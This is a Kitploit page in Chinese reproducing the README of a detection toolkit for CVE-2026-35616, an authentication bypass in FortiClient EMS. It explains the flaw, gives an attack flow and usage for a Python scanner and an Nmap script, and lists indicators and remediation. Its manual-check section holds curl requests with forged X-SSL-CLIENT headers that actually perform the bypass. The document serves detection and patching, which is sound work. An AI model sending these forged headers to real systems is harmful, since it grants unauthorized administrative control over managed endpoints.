Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-35616 — CVE-2026-35616 检测工具包,针对 FortiClient EMS 中的预认证 API 绕过漏洞。包含 Python 扫描器和 Nmap NSE 脚本,用于识别易受攻击的版本并提供修复指导。 | Kitploit
工具/GitHubGitHub/keraattin/cve-2026-35616
漏洞扫描器漏洞分析漏洞利用信息收集Web安全网络安全渗透测试身份验证
GitHubkeraattin/cve-2026-35616

CVE-2026-35616

CVE-2026-35616 检测工具包,针对 FortiClient EMS 中的预认证 API 绕过漏洞。包含 Python 扫描器和 Nmap NSE 脚本,用于识别易受攻击的版本并提供修复指导。

查看仓库
124个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-35616 - FortiClient EMS 预认证 API 绕过导致远程代码执行

CVE-2026-35616 CVSS 9.1 CISA KEV CWE-284

摘要

Fortinet FortiClient EMS 7.4.5 和 7.4.6 中存在一个严重的认证绕过漏洞,允许完全未认证的远程攻击者通过伪造单个 HTTP 头(X-SSL-CLIENT-VERIFY)绕过 API 认证。该缺陷源于 Django 中间件信任来自用户可控请求头中的客户端证书元数据,而不仅仅信任受信任的反向代理。这使攻击者能够获得完整的管理 API 访问权限——并由此在企业内受管端点上执行任意代码。

自 2026 年 3 月 31 日起已被积极利用。2026 年 4 月 6 日被加入 CISA KEV 目录。


目录

  • 快速事实
  • 什么是 FortiClient EMS?
  • 漏洞深入分析
    • 架构
    • 漏洞所在
攻击流程
  • 影响分析
  • 受影响版本
  • 利用时间线
  • 检测
    • Python 扫描器
    • Nmap NSE 脚本
    • 手动验证
  • 入侵指标
  • 修复措施
  • 参考资料
  • 作者

  • 快速事实

    字段详情
    CVE IDCVE-2026-35616
    厂商Fortinet
    产品FortiClient 企业管理服务器(EMS)
    受影响版本7.4.5、7.4.6
    不受影响7.2.x 分支、7.4.4 及更早版本
    CVSS v3.19.1(严重)
    CWECWE-284 - 访问控制不当
    攻击向量网络
    认证无需认证
    用户交互无
    利用成熟度已在野外被利用
    CISA KEV2026 年 4 月 6 日添加(截止日期:2026 年 4 月 9 日)
    补丁已发布热修复;完整修复在 7.4.7 中
    发现者Simo Kohonen(Defused Cyber)、Nguyen Duc Anh

    什么是 FortiClient EMS?

    FortiClient 企业管理服务器(EMS)是 Fortinet 的集中式端点管理平台。它充当在整个组织中部署、配置和监控 FortiClient 代理的指挥控制层。可以将其视为管理 Fortinet 管理环境中每个端点的大脑:

    • 向端点推送安全策略和 VPN 配置文件
    • 管理端点合规性和态势检查
    • 分发软件更新和补丁
    • 与 FortiGate 防火墙集成以实现零信任网络访问(ZTNA)
    • 存储和管理端点遥测数据、证书和凭据

    当攻击者获得 EMS 的管理访问权限时,他们实际上就掌握了组织中每个受管端点的所有密钥。


    漏洞深入分析

    架构

    FortiClient EMS 在后台使用相当标准的 Web 应用技术栈:

    root@kitploit:~
    +----------------+          +----------------+          +----------------+
    |   浏览器 /     |  HTTPS   |    Apache      |   WSGI   |    Django      |
    |   API 客户端   | -------> |   (mod_ssl)    | -------> |    后端        |
    +----------------+          +----------------+          +----------------+
    

    当配置了双向 TLS(mTLS)时,Apache 的 mod_ssl 负责客户端证书验证。验证证书后,Apache 通过受信任的 WSGI 环境变量将验证结果传递给下游的 Django:

    • SSL_CLIENT_VERIFY - 验证状态(SUCCESS、NONE、FAILED)
    • SSL_CLIENT_S_DN - 证书中的主题专有名称
    • SSL_CLIENT_SERIAL - 证书序列号

    这是标准且安全的模式。问题在于 Django 中间件如何读取这些数据。

    漏洞所在

    在 FortiClient EMS 7.4.5 和 7.4.6 中,Django 认证中间件被修改为也接受来自 HTTP 请求头 的相同信息:

    • X-SSL-CLIENT-VERIFY
    • X-SSL-CLIENT-S-DN
    • X-SSL-CLIENT-SERIAL

    这可能是为了支持 Apache 不是 TLS 终止点的反向代理部署而添加的。然而,中间件无法区分这两个来源。它首先检查 WSGI 变量,但如果这些变量不存在(未配置 mTLS,或直接连接),则会回退到 HTTP 请求头——而任何客户端都可以设置这些请求头。

    以下是概念分解:

    root@kitploit:~
    安全路径(预期):
      Apache mod_ssl 验证证书 --> 设置 WSGI 环境变量 --> Django 读取环境变量  [正常]
    
    不安全路径(漏洞):
      攻击者直接设置 HTTP 请求头 --> Django 读取请求头 --> 信任它们  [失败]
    

    中间件实际上信任客户端自行证明其证书验证状态。这就像保安问某人“嘿,另一个保安已经检查过你的身份证了吗?”然后当对方说“是的”时就放行。

    攻击流程

    root@kitploit:~
    步骤 1:攻击者向 EMS API 端点发送 POST 请求
            并携带以下请求头:
            
            X-SSL-CLIENT-VERIFY: SUCCESS
            X-SSL-CLIENT-S-DN: CN=admin
            X-SSL-CLIENT-SERIAL: 0000000000000001
    
    步骤 2:Django 中间件检查 WSGI 环境变量 → 不存在
            回退到 HTTP 请求头 → 找到 X-SSL-CLIENT-VERIFY: SUCCESS
    
    步骤 3:中间件将请求视为以管理员身份认证
    
    步骤 4:攻击者获得完整的管理 API 访问权限
    
    步骤 5:通过管理 API,攻击者可以:
            - 向所有受管端点推送恶意策略
            - 提取存储的凭据和证书
            - 通过软件分发部署载荷
            - 修改 ZTNA 配置
            - 横向渗透到更广泛的网络
    

    整个攻击只需一个 HTTP 请求。无需暴力破解、无需凭据填充、无需社会工程学。只需一个伪造的请求头。


    影响分析

    此漏洞的严重性超出了服务器本身。FortiClient EMS 是一个力量倍增器——攻陷它使攻击者能够控制每个受管端点:

    直接影响:

    • 完全控制 EMS 控制台
    • 访问所有存储的端点配置、凭据和证书
    • 能够读取/修改/删除端点策略
    • 访问 VPN 配置和 ZTNA 设置

    下游影响(通过受管端点):

    • 通过软件分发向所有受管设备部署恶意软件
    • 从端点遥测数据中窃取凭据
    • 禁用或削弱所有受管端点上的安全控制
    • 通过 VPN/ZTNA 配置操纵进行横向移动
    • 通过基于策略的载荷交付实现持久后门访问

    企业风险:

    • 在典型的企业部署中,EMS 管理数百到数千个端点
    • 单个被利用的 EMS 实例可导致整个组织被攻陷
    • FortiClient EMS 通常位于具有广泛访问权限的受信任网络区域

    受影响版本

    版本状态
    FortiClient EMS 7.4.6存在漏洞
    FortiClient EMS 7.4.5存在漏洞
    FortiClient EMS 7.4.4 及更早版本不受影响
    FortiClient EMS 7.2.x不受影响

    利用时间线

    日期事件
    约 2026 年 3 月下旬Simo Kohonen 和 Nguyen Duc Anh 发现并报告该漏洞
    2026 年 3 月 31 日首次记录到针对蜜罐的利用尝试(Defused Cyber)
    2026 年 4 月 4 日Fortinet 为 7.4.5 和 7.4.6 发布紧急热修复
    2026 年 4 月 6 日CISA 将 CVE-2026-35616 添加到 KEV 目录(截止日期:2026 年 4 月 9 日)
    2026 年 4 月 13 日本检测工具包发布

    检测

    Python 扫描器

    该 Python 脚本使用差分响应技术测试多个 API 端点。

    工作原理:

    1. 指纹识别 - 通过 HTTP 响应体和请求头识别 FortiClient EMS
    2. 基线请求 - 向每个 API 端点发送不带伪造请求头的 POST 请求(预期返回 HTTP 401 Unauthorized)
    3. 伪造请求 - 发送相同的请求,但注入 X-SSL-CLIENT-VERIFY: SUCCESS
    4. 比较 - 如果状态码从 401 变为其他任何状态码(通常为 500 或 200),则确认认证绕过

    不会发送任何利用载荷。该测试对生产环境安全。

    用法:

    root@kitploit:~
    # 安装依赖(此脚本仅需标准库)
    pip install -r requirements.txt
    
    # 单个目标
    python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100
    
    # 自定义端口
    python CVE-2026-35616_FortiClientEMS_detector.py -t ems.corp.local -p 8443
    
    # 从文件批量扫描
    python CVE-2026-35616_FortiClientEMS_detector.py -f targets.txt
    
    # JSON 输出保存到文件
    python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --json -o results.json
    
    # 启用 SSL 证书验证
    python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --verify-ssl
    
    # 为慢速网络增加超时时间
    python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --timeout 20
    

    选项:

    标志描述默认值
    -t、--target目标 IP 或主机名-
    -f、--file包含目标的文件,每行一个(以 # 开头的行将被跳过)-
    -p、--port目标端口443
    --timeout连接超时时间(秒)10
    --verify-ssl启用 SSL 证书验证禁用
    --json以 JSON 格式输出结果关闭
    -o、--output将结果保存到文件-

    示例输出:

    root@kitploit:~
    ╔══════════════════════════════════════════════════════════════╗
    ║  CVE-2026-35616 - FortiClient EMS 认证绕过检测器           ║
    ║  预认证 API 访问绕过 → 权限提升                              ║
    ║  CVSS: 9.1(严重)| CISA KEV:活跃利用                       ║
    ╚══════════════════════════════════════════════════════════════╝
    
    [*] 正在扫描 192.168.1.100:443...
    
    目标:192.168.1.100:443
    ============================================================
      [*] 检测到 FortiClient EMS(版本:未知)
    
      漏洞测试结果:
        [存在漏洞] /api/v1/auth/signin  基线:401 → 伪造:500
        [存在漏洞] /api/v1/system/status  基线:401 → 伪造:500
        [无漏洞] /api/v1/endpoints  基线:401 → 伪造:401
    
      [!] 目标很可能存在 CVE-2026-35616 漏洞
          已确认预认证 API 绕过。请立即应用热修复!
          修复措施:升级到 FortiClient EMS 7.4.7 或应用热修复
    

    Nmap NSE 脚本

    root@kitploit:~
    # 安装 NSE 脚本
    sudo cp CVE-2026-35616_FortiClientEMS.nse /usr/share/nmap/scripts/
    sudo nmap --script-updatedb
    
    # 基本扫描
    nmap -p 443 --script CVE-2026-35616_FortiClientEMS <target>
    
    # 扫描子网
    nmap -p 443 --script CVE-2026-35616_FortiClientEMS 10.0.0.0/24
    
    # 从文件扫描多个目标
    nmap -p 443 --script CVE-2026-35616_FortiClientEMS -iL targets.txt
    
    # 带服务版本检测
    nmap -sV -p 443 --script CVE-2026-35616_FortiClientEMS <target>
    

    示例 Nmap 输出:

    root@kitploit:~
    PORT    STATE SERVICE
    443/tcp open  https
    | CVE-2026-35616_FortiClientEMS:
    |   存在漏洞:
    |   FortiClient EMS 预认证 API 绕过
    |     状态:存在漏洞
    |     ID:CVE:CVE-2026-35616
    |     风险因素:严重(CVSS:9.1)
    |     披露日期:2026-04-04
    |     附加信息:
    |       受影响端点:2
    |       修复措施:为 FortiClient EMS 7.4.5/7.4.6 应用热修复或升级到 7.4.7
    |       CISA KEV 截止日期:2026 年 4 月 9 日
    |     参考资料:
    |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35616
    |_      https://www.cisa.gov/known-exploited-vulnerabilities-catalog
    

    手动验证

    如果您想使用 curl 手动确认:

    root@kitploit:~
    # 步骤 1:基线 - 应返回 401
    curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
      -H "Content-Type: application/json" \
      -d '{}' \
      -o /dev/null -w "%{http_code}\n"
    
    # 步骤 2:伪造 - 如果返回 401 以外的任何状态码,则很可能存在漏洞
    curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
      -H "Content-Type: application/json" \
      -H "X-SSL-CLIENT-VERIFY: SUCCESS" \
      -H "X-SSL-CLIENT-S-DN: CN=admin" \
      -H "X-SSL-CLIENT-SERIAL: 0000000000000001" \
      -d '{}' \
      -o /dev/null -w "%{http_code}\n"
    

    如果第一个返回 401,第二个返回 500 或 200,则该实例存在漏洞。


    入侵指标

    在您的环境中留意以下迹象:

    • 异常的 API 请求,包含来自非代理来源的 X-SSL-CLIENT-VERIFY 请求头
    • 意外的策略更改,在没有管理员会话活动的情况下推送到端点
    • EMS 中出现新的管理员账户或修改的凭据,但没有相应的活动日志
    • 受管端点上出现异常的 FortiClient 代理行为(新软件安装、策略更改)
    • Apache 访问日志显示没有相应 mTLS 握手的 API 调用
    • 蜜罐/IDS 警报,涉及带有证书相关请求头注入的请求

    需要审查的日志来源:

    • FortiClient EMS 应用程序日志
    • Apache 访问和错误日志
    • 受管端点上的 FortiClient 代理日志
    • 显示连接到 EMS API 端口的网络流量数据

    修复措施

    立即行动(立即执行):

    1. 应用热修复 - Fortinet 于 2026 年 4 月 4 日为 FortiClient EMS 7.4.5 和 7.4.6 发布了紧急热修复
    2. 限制网络访问 - 仅允许受信任的管理网络访问 EMS 管理界面(防火墙规则、ACL)
    3. 监控 API 活动 - 启用详细日志记录并关注异常的 API 访问模式

    短期(本周内):

    1. 升级到 FortiClient EMS 7.4.7(可用时)以获得完整修复
    2. 审计端点配置 - 检查所有受管端点是否存在未经授权的策略更改
    3. 轮换凭据 - 更改所有管理员密码并重新生成 EMS 管理的任何证书
    4. 审查受管端点 - 扫描恶意软件部署或未经授权配置更改的迹象

    长期:

    1. 网络分段 - 确保 EMS 位于隔离的管理 VLAN 中,并实施严格的访问控制
    2. WAF/反向代理规则 - 部署规则以在网络边缘剥离传入请求中的 X-SSL-CLIENT-VERIFY、X-SSL-CLIENT-S-DN 和 X-SSL-CLIENT-SERIAL 请求头
    3. 监控 - 对任何没有有效 mTLS 会话的 API 访问实施告警

    参考资料

    • CISA KEV 目录 - CVE-2026-35616
    • Tenable 博客 - CVE-2026-35616 分析
    • Bishop Fox - FortiClient EMS 中的 API 认证绕过
    • SOCRadar - CVE-2026-35616 FortiClient EMS 认证绕过
    • Horizon3.ai - CVE-2026-35616 分析
    • BleepingComputer - FortiClient EMS 漏洞在攻击中被利用
    • The Hacker News - Fortinet 修补被积极利用的 CVE-2026-35616

    作者

    Kerem Oruç - 网络安全工程师

    • GitHub:@keraattin
    • Twitter:@keraattin
    下载工具